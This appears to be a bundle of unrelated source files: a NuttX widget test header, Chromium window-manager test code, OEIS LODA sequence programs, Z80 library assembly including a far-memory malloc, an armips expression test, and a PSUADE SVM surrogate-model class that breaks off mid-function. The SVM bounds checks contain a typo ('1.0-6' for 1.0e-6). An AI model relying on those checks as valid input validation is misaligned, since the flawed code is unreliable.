#include "graphics/nxwidgets/cnxstring.hxx"
#include "graphics/nxwidgets/ctextbox.hxx"
/////////////////////////////////////////////////////////////////////////////
// Definitions
/////////////////////////////////////////////////////////////////////////////
// Configuration ////////////////////////////////////////////////////////////
#ifndef CONFIG_HAVE_CXX
# error "CONFIG_HAVE_CXX must be defined"
#endif
#ifndef CONFIG_CTEXTBOXTEST_BGCOLOR
# define CONFIG_CTEXTBOXTEST_BGCOLOR CONFIG_NXWIDGETS_DEFAULT_BACKGROUNDCOLOR
#endif
#ifndef CONFIG_CTEXTBOXTEST_FONTCOLOR
# define CONFIG_CTEXTBOXTEST_FONTCOLOR CONFIG_NXWIDGETS_DEFAULT_FONTCOLOR
#endif
/////////////////////////////////////////////////////////////////////////////
// Public Classes
/////////////////////////////////////////////////////////////////////////////
using namespace NXWidgets;
class CTextBoxTest : public CNxServer
{
private:
CWidgetControl *m_widgetControl; // The controlling widget for the window
CNxFont *m_nxFont; // Default font
CBgWindow *m_bgWindow; // Background window instance
CNxString *m_text; // The label string
public:
// Constructor/destructors
CTextBoxTest();
~CTextBoxTest();
// Initializer/unitializer. These methods encapsulate the basic steps for
// starting and stopping the NX server
bool connect(void);
void disconnect(void);
// Create a window. This method provides the general operations for
// creating a window that you can draw within.
//
// Those general operations are:
// 1) Create a dumb CWigetControl instance
// 2) Pass the dumb CWidgetControl instance to the window constructor
// that inherits from INxWindow. This will "smarten" the CWidgetControl
// instance with some window knowlede
// 3) Call the open() method on the window to display the window.
// 4) After that, the fully smartened CWidgetControl instance can
// be used to generate additional widgets by passing it to the
// widget constructor
bool createWindow(void);
// Create a CTextBox instance. This method will show you how to create
// a CTextBox widget
CTextBox *createTextBox(void);
// Draw the label. This method illustrates how to draw the CTextBox widget.
void showTextBox(CTextBox *label);
// Inject simulated keyboard characters into NX.
void injectChars(CTextBox *textbox, int nCh, FAR const uint8_t *string);
};
/////////////////////////////////////////////////////////////////////////////
// Public Data
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
// Public Function Prototypes
/////////////////////////////////////////////////////////////////////////////
#endif // __APPS_GRAPHICS_NXWIDGETS_UNITTESTS_CTEXTBOX_CTEXTBOXTEST_HXX
|
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ash/mus/test/wm_test_base.h"
#include <algorithm>
#include <vector>
#include "ash/mus/root_window_controller.h"
#include "ash/mus/test/wm_test_helper.h"
#include "ash/mus/test/wm_test_screen.h"
#include "ash/mus/window_manager.h"
#include "ash/mus/window_manager_application.h"
#include "base/strings/string_number_conversions.h"
#include "base/strings/string_split.h"
#include "components/mus/public/cpp/property_type_converters.h"
#include "components/mus/public/cpp/window_tree_client.h"
#include "ui/display/display.h"
namespace ash {
namespace mus {
namespace {
::mus::mojom::WindowType MusWindowTypeFromWmWindowType(
ui::wm::WindowType wm_window_type) {
switch (wm_window_type) {
case ui::wm::WINDOW_TYPE_UNKNOWN:
break;
case ui::wm::WINDOW_TYPE_NORMAL:
return ::mus::mojom::WindowType::WINDOW;
case ui::wm::WINDOW_TYPE_POPUP:
return ::mus::mojom::WindowType::POPUP;
case ui::wm::WINDOW_TYPE_CONTROL:
return ::mus::mojom::WindowType::CONTROL;
case ui::wm::WINDOW_TYPE_PANEL:
return ::mus::mojom::WindowType::PANEL;
case ui::wm::WINDOW_TYPE_MENU:
return ::mus::mojom::WindowType::MENU;
case ui::wm::WINDOW_TYPE_TOOLTIP:
return ::mus::mojom::WindowType::TOOLTIP;
}
NOTREACHED();
return ::mus::mojom::WindowType::CONTROL;
}
bool CompareByDisplayId(const RootWindowController* root1,
const RootWindowController* root2) {
return root1->display().id() < root2->display().id();
}
// TODO(sky): at some point this needs to support everything in DisplayInfo,
// for now just the bare minimum, which is [x+y-]wxh.
gfx::Rect ParseDisplayBounds(const std::string& spec) {
gfx::Rect bounds;
const std::vector<std::string> parts =
base::SplitString(spec, "-", base::TRIM_WHITESPACE, base::SPLIT_WANT_ALL);
std::string size_spec;
if (parts.size() == 2u) {
size_spec = parts[1];
const std::vector<std::string> origin_parts = base::SplitString(
parts[0], "+", base::TRIM_WHITESPACE, base::SPLIT_WANT_ALL);
CHECK_EQ(2u, origin_parts.size());
int x, y;
CHECK(base::StringToInt(origin_parts[0], &x));
CHECK(base::StringToInt(origin_parts[1], &y));
bounds.set_origin(gfx::Point(x, y));
} else {
CHECK_EQ(1u, parts.size());
size_spec = spec;
}
const std::vector<std::string> size_parts = base::SplitString(
size_spec, "x", base::TRIM_WHITESPACE, base::SPLIT_WANT_ALL);
CHECK_EQ(2u, size_parts.size());
int w, h;
CHECK(base::StringToInt(size_parts[0], &w));
CHECK(base::StringToInt(size_parts[1], &h));
bounds.set_size(gfx::Size(w, h));
return bounds;
}
} // namespace
WmTestBase::WmTestBase() {}
WmTestBase::~WmTestBase() {
CHECK(setup_called_)
<< "You have overridden SetUp but never called WmTestBase::SetUp";
CHECK(teardown_called_)
<< "You have overridden TearDown but never called WmTestBase::TearDown";
}
bool WmTestBase::SupportsMultipleDisplays() const {
return false;
}
void WmTestBase::UpdateDisplay(const std::string& display_spec) {
const std::vector<std::string> parts = base::SplitString(
display_spec, ",", base::TRIM_WHITESPACE, base::SPLIT_WANT_ALL);
// TODO(sky): allow > 1 once http://crbug.com/611563 is fixed.
DCHECK_EQ(1u, parts.size());
gfx::Rect bounds = ParseDisplayBounds(parts[0]);
std::vector<RootWindowController*> roots =
WmTestBase::GetRootsOrderedByDisplayId();
roots[0]->display_.set_bounds(bounds);
gfx::Rect work_area(bounds);
// Offset the height slightly to give a different work area. -2 is arbitrary,
// it could be anything.
work_area.set_height(std::max(0, work_area.height() - 2));
roots[0]->display_.set_work_area(work_area);
roots[0]->root()->SetBounds(gfx::Rect(bounds.size()));
test_helper_->screen()->display_list()->UpdateDisplay(
roots[0]->display(), views::DisplayList::Type::PRIMARY);
}
::mus::Window* WmTestBase::GetPrimaryRootWindow() {
std::vector<RootWindowController*> roots =
WmTestBase::GetRootsOrderedByDisplayId();
DCHECK(!roots.empty());
return roots[0]->root();
}
::mus::Window* WmTestBase::GetSecondaryRootWindow() {
std::vector<RootWindowController*> roots =
WmTestBase::GetRootsOrderedByDisplayId();
return roots.size() < 2 ? nullptr : roots[1]->root();
}
display::Display WmTestBase::GetPrimaryDisplay() {
std::vector<RootWindowController*> roots =
WmTestBase::GetRootsOrderedByDisplayId();
DCHECK(!roots.empty());
return roots[0]->display();
}
display::Display WmTestBase::GetSecondaryDisplay() {
std::vector<RootWindowController*> roots =
WmTestBase::GetRootsOrderedByDisplayId();
return roots.size() < 2 ? display::Display() : roots[1]->display();
}
::mus::Window* WmTestBase::CreateTestWindow(const gfx::Rect& bounds) {
return CreateTestWindow(bounds, ui::wm::WINDOW_TYPE_NORMAL);
}
::mus::Window* WmTestBase::CreateTestWindow(const gfx::Rect& bounds,
ui::wm::WindowType window_type) {
std::map<std::string, std::vector<uint8_t>> properties;
properties[::mus::mojom::WindowManager::kWindowType_Property] =
mojo::ConvertTo<std::vector<uint8_t>>(
static_cast<int32_t>(MusWindowTypeFromWmWindowType(window_type)));
if (!bounds.IsEmpty()) {
properties[::mus::mojom::WindowManager::kInitialBounds_Property] =
mojo::ConvertTo<std::vector<uint8_t>>(bounds);
}
properties[::mus::mojom::WindowManager::kResizeBehavior_Property] =
mojo::ConvertTo<std::vector<uint8_t>>(
::mus::mojom::kResizeBehaviorCanResize |
::mus::mojom::kResizeBehaviorCanMaximize |
::mus::mojom::kResizeBehaviorCanMinimize);
::mus::Window* window =
GetRootsOrderedByDisplayId()[0]->window_manager()->NewTopLevelWindow(
&properties);
window->SetVisible(true);
return window;
}
::mus::Window* WmTestBase::CreateChildTestWindow(::mus::Window* parent,
const gfx::Rect& bounds) {
std::map<std::string, std::vector<uint8_t>> properties;
properties[::mus::mojom::WindowManager::kWindowType_Property] =
mojo::ConvertTo<std::vector<uint8_t>>(static_cast<int32_t>(
MusWindowTypeFromWmWindowType(ui::wm::WINDOW_TYPE_NORMAL)));
::mus::Window* window =
GetRootsOrderedByDisplayId()[0]->root()->window_tree()->NewWindow(
&properties);
window->SetBounds(bounds);
window->SetVisible(true);
parent->AddChild(window);
return window;
}
void WmTestBase::SetUp() {
setup_called_ = true;
test_helper_.reset(new WmTestHelper);
test_helper_->Init();
}
void WmTestBase::TearDown() {
teardown_called_ = true;
test_helper_.reset();
}
std::vector<RootWindowController*> WmTestBase::GetRootsOrderedByDisplayId() {
std::set<RootWindowController*> roots = test_helper_->window_manager_app()
->window_manager()
->GetRootWindowControllers();
std::vector<RootWindowController*> ordered_roots;
ordered_roots.insert(ordered_roots.begin(), roots.begin(), roots.end());
std::sort(ordered_roots.begin(), ordered_roots.end(), &CompareByDisplayId);
return ordered_roots;
}
} // namespace mus
} // namespace ash
|
; A347272: Main diagonal of the square array A347270.
; Submitted by Jon Maiga
; 1,1,5,4,2,8,26,4,52,1,16,2,1,16,8,2,4,8,4,1,4,1,4,4,4,1,155,1,4,2,395,2,1,2,1,2,1,4,4,4,668,1,4,1,4,2,425,1,1,4,2,4,2,850,425,1,1,2,2,4,2,4858,2429,1,4,2,1,2,1,4,2308,4,3644,1,1,2,1,1,4,4,4,1732,866,2,1,4,2,4,4,1,4,2,1,106,53,2,488,1,4,2
add $0,1
mov $1,$0
lpb $1
mov $2,$0
mod $2,2
mov $3,1
sub $3,$2
mov $4,$0
lpb $2
mul $0,3
add $0,1
sub $2,1
lpe
lpb $3
div $0,2
sub $3,1
lpe
sub $1,1
lpe
mov $0,$4
|
; A060432: Partial sums of A002024.
; 1,3,5,8,11,14,18,22,26,30,35,40,45,50,55,61,67,73,79,85,91,98,105,112,119,126,133,140,148,156,164,172,180,188,196,204,213,222,231,240,249,258,267,276,285,295,305,315,325,335,345,355,365,375,385,396,407,418,429,440,451,462,473,484,495,506,518,530,542,554,566,578,590,602,614,626,638,650,663,676,689,702,715,728,741,754,767,780,793,806,819,833,847,861,875,889,903,917,931,945,959,973,987,1001,1015,1030,1045,1060,1075,1090,1105,1120,1135,1150,1165,1180,1195,1210,1225,1240,1256,1272,1288,1304,1320,1336,1352,1368,1384,1400,1416,1432,1448,1464,1480,1496,1513,1530,1547,1564,1581,1598,1615,1632,1649,1666,1683,1700,1717,1734,1751,1768,1785,1803,1821,1839,1857,1875,1893,1911,1929,1947,1965,1983,2001,2019,2037,2055,2073,2091,2109,2128,2147,2166,2185,2204,2223,2242,2261,2280,2299,2318,2337,2356,2375,2394,2413,2432,2451,2470,2490,2510,2530,2550,2570,2590,2610,2630,2650,2670,2690,2710,2730,2750,2770,2790,2810,2830,2850,2870,2891,2912,2933,2954,2975,2996,3017,3038,3059,3080,3101,3122,3143,3164,3185,3206,3227,3248,3269,3290,3311,3333,3355,3377,3399,3421,3443,3465,3487,3509,3531,3553,3575,3597,3619,3641,3663,3685,3707,3729
add $0,1
lpb $0,1
add $1,$0
add $2,1
trn $0,$2
lpe
|
SECTION code_clib
SECTION code_l_sccz80
PUBLIC dldpsh
PUBLIC dpush
EXTERN fa
;-----------------------------------------
; Load FA from (hl) and push FA onto stack
;-----------------------------------------
dldpsh:
ld de,fa
ld c,a
ld b,6
loop:
ld a,(hl)
ld (de),a
inc hl
inc de
dec b
jp NZ,loop
ld a,c
;------------------------------------------
; Push FA onto stack (under return address)
;------------------------------------------
dpush:
pop de
ld hl,(fa+4)
push hl
ld hl,(fa+2)
push hl
ld hl,(fa)
push hl
ex de,hl
jp (hl)
|
; A262620: Number of "ON" cells at n-th stage in simple 2-dimensional cellular automaton on the square grid (see Comments lines for definition).
; 1,5,17,21,49,69,81,85,145,197,241,277,305,325,337,341,465,581,689,789,881,965,1041,1109,1169,1221,1265,1301,1329,1349,1361,1365,1617,1861,2097,2325,2545,2757,2961,3157,3345,3525,3697,3861,4017,4165,4305,4437,4561,4677,4785,4885,4977,5061,5137,5205,5265,5317,5361,5397
mov $8,$0
add $8,1
mov $10,$0
lpb $8
mov $0,$10
sub $8,1
sub $0,$8
add $9,1
lpb $9
mov $6,$0
add $6,$0
mov $0,$6
add $0,1
mov $2,$0
mov $3,$6
mov $4,1
sub $9,1
lpb $2
add $2,$3
add $4,$2
lpb $4
mov $2,1
mov $5,$4
mov $7,$4
sub $4,$4
lpe
lpb $5
mov $0,0
trn $5,$2
mul $2,2
lpe
mov $3,$7
lpb $6
sub $2,$3
add $0,$2
trn $6,$2
lpe
add $0,$2
mov $2,1
lpe
lpe
add $1,$0
lpe
|
; A008264: Coordination sequence for tridymite, lonsdaleite, and wurtzite.
; 1,4,12,25,44,67,96,130,170,214,264,319,380,445,516,592,674,760,852,949,1052,1159,1272,1390,1514,1642,1776,1915,2060,2209,2364,2524,2690,2860,3036,3217,3404,3595,3792,3994,4202,4414,4632,4855,5084,5317,5556,5800,6050,6304,6564,6829,7100,7375,7656,7942,8234,8530,8832,9139,9452,9769,10092,10420,10754,11092,11436,11785,12140,12499,12864,13234,13610,13990,14376,14767,15164,15565,15972,16384,16802,17224,17652,18085,18524,18967,19416,19870,20330,20794,21264,21739,22220,22705,23196,23692,24194,24700,25212,25729
mov $1,5
mov $4,$0
pow $0,2
add $1,$0
lpb $0
mov $0,$1
div $0,3
mul $1,5
div $1,4
lpe
div $1,2
sub $1,1
mov $3,$4
mul $3,$4
mov $2,$3
mul $2,2
add $1,$2
mov $0,$1
|
; MALLOC function for far memory model
; 29/3/00 GWL
; 30/3/00 Changed size type to long, so >64K mallocs possible
;
; $Id: malloc_far.asm,v 1.4 2015/01/19 01:32:43 pauloscustodio Exp $
;
PUBLIC malloc_far
EXTERN malloc_table,pool_table,farpages,farmemspec
EXTERN free_loop
include "memory.def"
; far *malloc(long size)
.malloc_far
pop de
pop bc
pop hl
push hl ; HLBC=required size (bytes)
push bc
push de
ld a,l
and $80
or h
jp nz,badmalloc ; trying to malloc 8Mb+....
ld a,c
ld c,b
ld b,l ; BC=pages required, ignoring low byte
inc bc
inc a
jr nz,mall2
inc bc ; BC=total pages required (with 2byte ovhead)
; Stage 1 is to locate a free fragment in the malloc table large enough
; to hold the amount of memory we require
.mall2 ld hl,malloc_table ; search start
ld ix,0 ; and size found
ld de,(farpages) ; pages to search
push ix ; save best match so far
push hl
.malsearch
ld a,d
or e
jr z,endsearch ; end of malloc_table reached
dec de
ld a,(hl)
inc hl
inc hl
and a
jr nz,malsearch ; back until found a free page
push hl ; save start of this fragment+2
ld ix,0
.malfragment
inc ix
ld a,d
or e
jr z,endfragment ; end of malloc_table reached
dec de
ld a,(hl)
inc hl
inc hl
and a
jr z,malfragment ; back until end of fragment
.endfragment
push ix
ex (sp),hl
and a
sbc hl,bc ; is fragment big enough?
jr nc,goodmatch
pop hl
pop af ; discard fragment start
jr malsearch
.goodmatch
add hl,bc
ex (sp),hl
exx
pop hl ; HL'=fragment size
pop ix ; IX=fragment start+2
dec ix
dec ix ; IX=real fragment start
pop de ; DE'=start of best so far
pop bc ; BC'=size of best so far
ld a,b
or c
jr z,usenew ; use new fragment if no previous one
sbc hl,bc
jr nc,useold ; use old if <=size of new one
add hl,bc ; restore HL=fragment size
.usenew push hl
push ix
exx
jr malsearch
.useold push bc
push de
exx
jr malsearch
.endsearch
pop hl ; HL=start of best fragment found
pop de ; DE=size
ld a,d
or e
jr z,badmalloc ; no suitable fragment found
; Stage 2 is to fill the fragment with memory
; We start with HL=address in malloc_table & BC=pages required
push hl ; save parameters
push bc
ld d,31 ; pretend bank 31 is available
.nextpool
call findpool ; IX=pool to allocate from, D=bank
jr c,partmalloc
.nextpage
push bc ; save pages to do
push hl ; save malloc_table address
.badpage
xor a
ld bc,256
call_oz(os_mal) ; get a page
jr nc,gotpage
pop hl ; restore malloc_table address
pop bc
jr nextpool
.gotpage
ld a,l
and a
jr nz,badpage ; EEK! OZ returned non-page-aligned mem...
ld a,b
cp d
jr nz,badpage ; EEK! Not from the expected bank...
ld a,h
pop hl
ld (hl),d ; store bank
inc hl
ld (hl),a ; and high byte
inc hl
pop bc
dec bc
ld a,b
or c
jr nz,nextpage
pop bc ; pages allocated
pop hl ; HL=address in malloc_table
ld a,($04d1)
ex af,af' ; save seg1 binding
ld a,(hl)
inc hl
ld d,(hl)
dec hl
ld ($04d1),a
out ($d1),a ; bind in start of allocated memory
ld e,0 ; DE=address in segment 1
ld a,c
ld (de),a
inc de
ld a,b
ld (de),a ; store #pages allocated in first two bytes
ex af,af'
ld ($04d1),a
out ($d1),a ; rebind seg 1
ld de,malloc_table
and a
sbc hl,de
srl h
rr l ; HL=pool page number
ld e,h
inc e ; because E=0 reserved for local memory
ld h,l
ld l,2 ; EHL=far pointer (skipping #pages)
ret ; success!
; At this point we need to free up what we've allocated so far and
; then return a NULL pointer
.partmalloc
pop bc
pop hl
call free_loop ; free pages already allocated
; Here we return a NULL pointer because we're unable to malloc what's
; required
.badmalloc
ld e,0
ld hl,0
ret
; Subroutine to find a new pool to allocate from.
; IN: D=previous bank
; OUT(success): Fc=0
; D=new bank
; IX=pool handle
; OUT(failure): Fc=1
;
; Registers changed after return:
; ..BC.EHL/..IY same
; AF..D.../IX.. different
.findpool
push bc
push hl
ld hl,pool_table-32
ld c,d
ld b,0
add hl,bc
.fpool2 inc hl
inc d
jr z,openpool ; open new pool if end of bank list
ld a,(hl)
and a
jr z,fpool2 ; back if pool not open yet
add a,a
rl b ; (B was 0 from code above)
add a,a
rl b
add a,a
rl b
add a,a
rl b
ld ixh,b
ld ixl,a ; IX=pool handle
and a ; Fc=0, success!
.nopool
pop hl
pop bc
ret
.openpool
ld a,(farmemspec)
ld bc,0
call_oz(os_mop)
jr c,nopool
xor a
ld bc,256
call_oz(os_mal)
ld a,b
push af ; save A=bank number
ld bc,256
call_oz(os_mfr)
pop af
ld hl,pool_table-32
ld c,a
ld b,0
add hl,bc
ld a,ixl
ld b,ixh
srl b
rra
srl b
rra
srl b
rra
srl b
rra
ld (hl),a ; save compressed pool handle
ld d,c ; D=bank
pop hl
pop bc
and a ; success!
ret
|
.gba
.create "output.bin",0
.org 100h
label:
; let's test != first before relying on it
.if 2 != 2
.error "!= Operator broken"
.elseif 2 != 3
.else
.error "!= Operator broken"
.endif
; test to string operator
.macro checksn,exp,value
.if °(exp) != (value)
.error "Error: " + °(exp) + " != " + (value)
.endif
.endmacro
.macro checks,exp,value
.if °(exp) != ("(" + value + ")")
.error "Error: " + °(exp) + " != " + ("(" + value + ")")
.endif
.endmacro
checksn 1, "1"
checksn 1.5, "1.5"
checksn label, "label"
checksn "text", "\"text\""
checksn ., "."
checks 1 + 2, "1 + 2"
checks 1 - 2, "1 - 2"
checks 1 * 2, "1 * 2"
checks 1 / 2, "1 / 2"
checks 1 % 2, "1 % 2"
checks -1, "-1"
checks !1, "!1"
checks ~1, "~1"
checks 1 << 2, "1 << 2"
checks 1 >> 2, "1 >> 2"
checks 1 < 2, "1 < 2"
checks 1 > 2, "1 > 2"
checks 1 <= 2, "1 <= 2"
checks 1 >= 2, "1 >= 2"
checks 1 == 2, "1 == 2"
checks 1 != 2, "1 != 2"
checks 1 & 2, "1 & 2"
checks 1 | 2, "1 | 2"
checks 1 && 2, "1 && 2"
checks 1 || 2, "1 || 2"
checks 1 ^ 2, "1 ^ 2"
checks 1 ? 2 : 3, "1 ? 2 : 3"
checks °(1+2),"°(1 + 2)"
; now test actual expression evaluation
.macro check,exp,value
.if (exp) != value
.error "Error: " + °(exp) + " = " + (exp) + " != " + value
.endif
.endmacro
; addition
check 3 + 2, 5
check 3 + 2.5, 5.5
check 3.5 + 2, 5.5
check 3.0 + 2.0, 5
check 3 + 2+1, 6
; subtraction
check 3 - 2, 1
check 3 - 2.5, 0.5
check 3.5 - 2, 1.5
check 3.0 - 2.0, 1
check 3.0 - 2.0 - 1.5, -0.5
; multiplication
check 3 * 2, 6
check 3 * 2.5, 7.5
check 3.5 * 2, 7
check 3.0 * 2.0, 6
check 3 * 2 * 1.5, 9
; division
check 5 / 2,2
check 5 / 2.0, 2.5
check 5.0 / 2, 2.5
; modulo
check 3 % 2, 1
; combined addition and multiplication
check 3*2+2,8
check 3+2*2,7
check 2*3+3*2,12
; comparisons
check 1 < 2, 1
check 2 < 1, 0
check -1 < 1, 1
check 1 < -1, 0
check 1 < 1, 0
check 2.0 < 2.1, 1
check 2.1 < 2.0, 0
check 2.0 < 2.0, 0
check 1 < 1.5, 1
check 2 < 1.5, 0
check 1.5 < 2, 1
check 1.5 < 1, 0
check (0.0/0) < (0.0/0), 0
check "a" < "b", 1
check "b" < "a", 0
check 1 > 2, 0
check 2 > 1, 1
check -1 > 1, 0
check 1 > -1, 1
check 1 > 1, 0
check 2.0 > 2.1, 0
check 2.1 > 2.0, 1
check 2.0 > 2.0, 0
check 1 > 1.5, 0
check 2 > 1.5, 1
check 1.5 > 2, 0
check 1.5 > 1, 1
check (0.0/0) > (0.0/0), 0
check "a" > "b", 0
check "a" < "b", 1
check 1 >= 1, 1
check 1 >= 2, 0
check 2.0 >= 2.0, 1
check 2.0 >= 2, 1
check (0.0/0) >= (0.0/0), 0
check "a" >= "a", 1
check 1 <= 1, 1
check 2 <= 1, 0
check 2.0 <= 2.0, 1
check 2.0 <= 2, 1
check (0.0/0) <= (0.0/0), 0
check "a" <= "a", 1
check 2 == 1, 0
check 2 == 2, 1
check 2.0 == 1.0, 0
check 2.0 == 2.0, 1
check 2.0 == 1, 0
check 2.0 == 2, 1
check (0.0/0) == (0.0/0), 0
check "a" == "b", 0
check "a" == "a", 1
check 2 != 1, 1
check 2 != 2, 0
check 2.0 != 1.0, 1
check 2.0 != 2.0, 0
check 2.0 != 2, 0
check (0.0/0) != (0.0/0), 1
check "a" != "b", 1
check "a" != "a", 0
; bitwise operations
check ~1,0xFFFFFFFFFFFFFFFE
check 3 | 5, 7
check 3 & 5, 1
check 3 ^ 5, 6
check 1 << 3, 8
check 256 >> 4, 16
; logical operations
check !1, 0
check !0, 1
check 1 && 1, 1
check 1 && 0, 0
check 1 || 1, 1
check 1 || 0, 1
; ?: operator
check 1 ? 2 : 3, 2
check 0 ? 2 : 3, 3
; identifier
check label, 0x100
check ., 0x100
.close
|
// ************************************************************************
// Copyright (c) 2007 Lawrence Livermore National Security, LLC.
// Produced at the Lawrence Livermore National Laboratory.
// Written by the PSUADE team.
// All rights reserved.
//
// Please see the COPYRIGHT_and_LICENSE file for the copyright notice,
// disclaimer, contact information and the GNU Lesser General Public License.
//
// PSUADE is free software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License (as published by the Free Software
// Foundation) version 2.1 dated February 1999.
//
// PSUADE is distributed in the hope that it will be useful, but WITHOUT ANY
// WARRANTY; without even the IMPLIED WARRANTY OF MERCHANTABILITY or FITNESS
// FOR A PARTICULAR PURPOSE. See the terms and conditions of the GNU General
// Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program; if not, write to the Free Software Foundation,
// Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
// ************************************************************************
// Functions for the class SVM
// AUTHOR : CHARLES TONG
// DATE : 2007
// ************************************************************************
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <math.h>
#include "sysdef.h"
#include "Psuade.h"
#include "PsuadeUtil.h"
#include "SVM.h"
#define PABS(x) ((x) > 0 ? (x) : (-(x)))
#ifdef HAVE_SVM
extern "C"
{
void SVMSetGamma(double gamma, double tol);
void SVMSetKernel(int kernel);
void SVMTrain(int nInputs, int nTrains, double *trainInputs,
double *trainOutput, int, double *, double *);
void SVMInterp(int nTests, int nInputs, double *inputs,
double *output, double *stds);
}
#endif
// ************************************************************************
// Constructor for object class SVM
// ------------------------------------------------------------------------
SVM::SVM(int nInputs,int nSamples) : FuncApprox(nInputs,nSamples)
{
#ifdef HAVE_SVM
int idata;
double ddata;
char *inStr, winput1[500], winput2[500];
faID_ = PSUADE_RS_SVM;
gamma_ = 1.0;
tolerance_ = 1.0e-6;
kernel_ = 2;
if (psRSExpertMode_ != 1 && psConfig_ != NULL)
{
inStr = psConfig_->getParameter("SVM_tol");
if (inStr != NULL)
{
sscanf(inStr, "%s %s %lg\n", winput1, winput2, &ddata);
if (winput2[0] != '=')
printf("SVM read config file syntax error : %s\n", inStr);
else if (ddata < 0.0 || ddata < 1.0-6 || ddata >= 1e6)
{
printf("SVM read config file : read tol error : %e\n", ddata);
printf(" tol kept at %e\n", tolerance_);
}
else
{
tolerance_ = ddata;
printf("SVM : tol set to %e (config)\n", tolerance_);
}
}
inStr = psConfig_->getParameter("SVM_gamma");
if (inStr != NULL)
{
sscanf(inStr, "%s %s %lg\n", winput1, winput2, &ddata);
if (winput2[0] != '=')
printf("SVM read config file syntax error : %s\n", inStr);
else if (ddata < 0.0 || ddata < 1.0-6 || ddata > 1.0e6)
{
printf("SVM read config file : gamma error : %e\n", ddata);
printf(" gamma kept at %e\n", gamma_);
}
else
{
gamma_ = ddata;
printf("SVM : gamma set to %e (config)\n", gamma_);
}
}
inStr = psConfig_->getParameter("SVM_kernel");
if (inStr != NULL)
{
sscanf(inStr, "%s %s %d\n", winput1, winput2, &idata);
if (winput2[0] != '=')
printf("SVM read config file syntax error : %s\n", inStr);
else if (idata < 1 || idata > 4)
{
printf("SVM read config file : kernel error : %d (must be 1-4)\n",
idata);
printf(" kernel kept at %d\n",kernel_+1);
}
else
{
kernel_ = idata - 1;
printf("SVM : kernel set to %d (config)\n", kernel_);
}
}
}
if (psRSExpertMode_ == 1)
{
printf("SVM kernel options: \n");
printf("1. linear\n");
printf("2. third order polynomial\n");
printf("3. radial basis function\n");
printf("4. sigmoid function\n");
printf("SVM: enter kernel type (1 - 4) : ");
scanf("%d", &kernel_);
if (kernel_ < 1 || kernel_ > 4)
{
printf("SVM ERROR : invalid kernel type, set to 3.\n");
kernel_ = 3;
}
kernel_--;
printf("SVM: enter tolerance (1.0e-6 to 1e6) : ");
scanf("%lg", &tolerance_);
if (tolerance_ < 1.0-6 || tolerance_ > 1e6)
{
printf("SVM ERROR : invalid tolerance, set to 1.0e-4\n");
tolerance_ = 1.0e-4;
}
if (kernel_ == 2)
{
printf("SVM: enter RBF_gamma (1.0e-6 to 1.0e6) : ");
scanf("%lg", &gamma_);
if (gamma_ < 1.0-6 || gamma_ > 1.0e6)
{
printf("SVM ERROR : invalid RBF_gamma, set to 1.0\n");
gamma_ = 1.0;
}
}
fgets(winput1, 500, stdin);
}
if (kernel_ != -1) SVMSetKernel(kernel_);
if (gamma_ != -1.0 || tolerance_ != -1.0) SVMSetGamma(gamma_, tolerance_);
#else
printf("PSUADE ERROR : SVM not installed.\n");
#endif
}
// ************************************************************************
// destructor
// ------------------------------------------------------------------------
SVM::~SVM()
{
#ifndef HAVE_SVM
printf("PSUADE ERROR : SVM not installed.\n");
#endif
}
// ************************************************************************
// initialize
// ------------------------------------------------------------------------
int SVM::initialize(double *X, double *Y)
{
#ifdef HAVE_SVM
int ss;
double *stds;
stds = new double[nSamples_];
checkAllocate(stds, "stds in SVM::initialize");
if (outputLevel_ >= 1)
{
printf("SVM training begins....\n");
if (kernel_ == 0) printf("SVM kernel = linear\n");
if (kernel_ == 1) printf("SVM kernel = third order polynomial\n");
if (kernel_ == 2) printf("SVM kernel = radial basis function\n");
if (kernel_ == 3) printf("SVM kernel = sigmoid function\n");
printf("SVM epsilon = %e\n",tolerance_);
if (kernel_ == 2)
printf("SVM RBF_gamma = %e\n",gamma_);
}
if (gamma_ != -1.0 || tolerance_ != -1.0) SVMSetGamma(gamma_, tolerance_);
if (kernel_ != -1) SVMSetKernel(kernel_);
SVMTrain(nInputs_, nSamples_, X, Y, 0, NULL, stds);
for (ss = 0; ss < nSamples_; ss++) stds[ss] = 0.0;
if (outputLevel_ >= 1) printf("SVM training completed.\n");
if (psRSCodeGen_ == 1)
printf("SVM INFO: response surface stand-alone code not available.\n");
#else
printf("PSUADE ERROR : SVM not installed.\n");
return -1;
#endif
return 0;
}
// ************************************************************************
// Generate results for display
// ------------------------------------------------------------------------
int SVM::genNDGridData(double *X, double *Y, int *N2, double **X2,
double **Y2)
{
#ifdef HAVE_SVM
int totPts;
// initialization
initialize(X,Y);
if ((*N2) == -999 || X2 == NULL || Y2 == NULL) return 0;
// generating regular grid data
genNDGrid(N2, X2);
if ((*N2) == 0) return 0;
totPts = (*N2);
// generate the data points
(*Y2) = new double[totPts];
checkAllocate(*Y2, "Y2 in SVM::genNDGridData");
if (outputLevel_ >= 1) printf("SVM interpolation begins....\n");
SVMInterp(totPts, nInputs_, *X2, *Y2, NULL);
if (outputLevel_ >= 1) printf("SVM interpolation completed.\n");
#else
printf("PSUADE ERROR : SVM not installed.\n");
return -1;
#endif
return 0;
}
// ************************************************************************
// Generate 1D results for display
// ------------------------------------------------------------------------
int SVM::gen1DGridData(double *X, double *Y, int ind1,
double *settings, int *n, double **X2, double **Y2)
{
#ifdef HAVE_SVM
int ii, kk, totPts;
double HX, *XX, *YY;
// initialization
initialize(X,Y);
// generating regular grid data
totPts = nPtsPerDim_;
HX = (upperBounds_[ind1] - lowerBounds_[ind1]) / (nPtsPerDim_ - 1);
(*X2) = new double[2*totPts];
XX = new double[totPts*nInputs_];
checkAllocate(XX, "XX in SVM::gen1DGridData");
for (ii = 0; ii < nPtsPerDim_; ii++)
{
for (kk = 0; kk < nInputs_; kk++)
XX[ii*nInputs_+kk] = settings[kk];
XX[ii*nInputs_+ind1] = HX * ii + lowerBounds_[ind1];
(*X2)[ii] = HX * ii + lowerBounds_[ind1];
}
YY = new double[totPts];
checkAllocate(YY, "YY in SVM::gen1DGridData");
if (outputLevel_ >= 1) printf("SVM interpolation begins....\n");
SVMInterp(totPts, nInputs_, XX, YY, NULL);
